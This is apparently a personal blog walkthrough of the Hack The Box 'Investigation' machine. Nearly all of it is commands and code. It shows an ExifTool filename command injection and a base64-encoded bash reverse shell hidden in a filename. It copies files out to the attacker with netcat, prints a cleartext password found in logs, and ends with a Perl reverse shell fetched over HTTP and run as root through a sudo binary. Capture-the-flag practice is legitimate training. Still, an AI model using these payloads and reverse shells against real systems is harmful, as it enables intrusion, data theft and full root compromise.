0xc0rvu5.github.io

View on GitHub
echo "10.10.11.197	investigation.htb" | sudo tee -a /etc/hosts
cat /etc/hosts | tail -1

10.10.11.197	eforenzics.htb

image

image

image

image

$ ls pwn
ls: cannot access 'pwn': No such file or directory
$ touch 'touch pwn |'
$ ./exiftool 'touch pwn |'
ExifTool Version Number         : 12.37
File Name                       : touch pwn |
Directory                       : .
File Size                       : 0 bytes
File Modification Date/Time     : 2022:01:18 18:40:18-06:00
File Access Date/Time           : 2022:01:18 18:40:18-06:00
File Inode Change Date/Time     : 2022:01:18 18:40:18-06:00
File Permissions                : prw-------
Error                           : File is empty
$ ls pwn
pwn

image

YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTYuOS80NDQ0IDwmMScK


- On host ensure there is a `nc` listener:
```bash
rlwrap nc -lvnp 4444
filename="echo 'YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTAuMTAuMTYuOS80NDQ0IDwmMScK' | base64 -d | bash |"

image

# since python3 --version returns true
python3 -c 'import pty;pty.spawn("/bin/bash")'

# clear functionality
export TERM=xterm
python -m http.server

image

nc -lp 10015 > windows.msg
pwd

/usr/local/investigation

cat W* | nc -w 3 10.10.16.9 10015
pip3 install extract-msg
extract_msg windows.msg
cd '2022-01-15_1830 Windows Event Logs for Analysis'
unzip evtx-logs.zip
pip3 install python-evtx
evtx_dump.py security.evtx > security.xml
cat security.xml  | grep -i targetusername | less -N

image

image

ssh smorton@eforenzics.htb
Password: Def@ultf0r3nz!csPa$$
cat user.txt 

b01ed0d332a01bd360b03e021b24880e
sudo -l
Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary
nc -lp 10015 > binary
cat /usr/bin/binary | nc -w 3 10.10.16.9 10015

image

undefined8 main(int param_1,long param_2)

{
  __uid_t _Var1;
  int iVar2;
  FILE *__stream;
  undefined8 uVar3;
  char *__s;
  char *__s_00;
  
  if (param_1 != 3) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  _Var1 = getuid();
  if (_Var1 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  iVar2 = strcmp(*(char **)(param_2 + 0x10),"lDnxUysaQn");
  if (iVar2 != 0) {
    puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("Running... ");
  __stream = fopen(*(char **)(param_2 + 0x10),"wb");
  uVar3 = curl_easy_init();
  curl_easy_setopt(uVar3,0x2712,*(undefined8 *)(param_2 + 8));
  curl_easy_setopt(uVar3,0x2711,__stream);
  curl_easy_setopt(uVar3,0x2d,1);
  iVar2 = curl_easy_perform(uVar3);
  if (iVar2 == 0) {
    iVar2 = snprintf((char *)0x0,0,"%s",*(undefined8 *)(param_2 + 0x10));
    __s = (char *)malloc((long)iVar2 + 1);
    snprintf(__s,(long)iVar2 + 1,"%s",*(undefined8 *)(param_2 + 0x10));
    iVar2 = snprintf((char *)0x0,0,"perl ./%s",__s);
    __s_00 = (char *)malloc((long)iVar2 + 1);
    snprintf(__s_00,(long)iVar2 + 1,"perl ./%s",__s);
    fclose(__stream);
    curl_easy_cleanup(uVar3);
    setuid(0);
    system(__s_00);
    system("rm -f ./lDnxUysaQn");
    return 0;
  }
  puts("Exiting... ");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
sudo /usr/bin/binary your_server_hosting_rev_perl_shell lDnxUysaQn
use Socket;
$i="10.10.16.9";
$p=4445;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");
open(STDERR,">&S");
exec("/bin/bash -i");};
python -m http.server
rlwrap nc -lvnp 4445

On Victim:

sudo /usr/bin/binary http://10.10.16.9:8000/perl.pl lDnxUysaQn

image

#hacking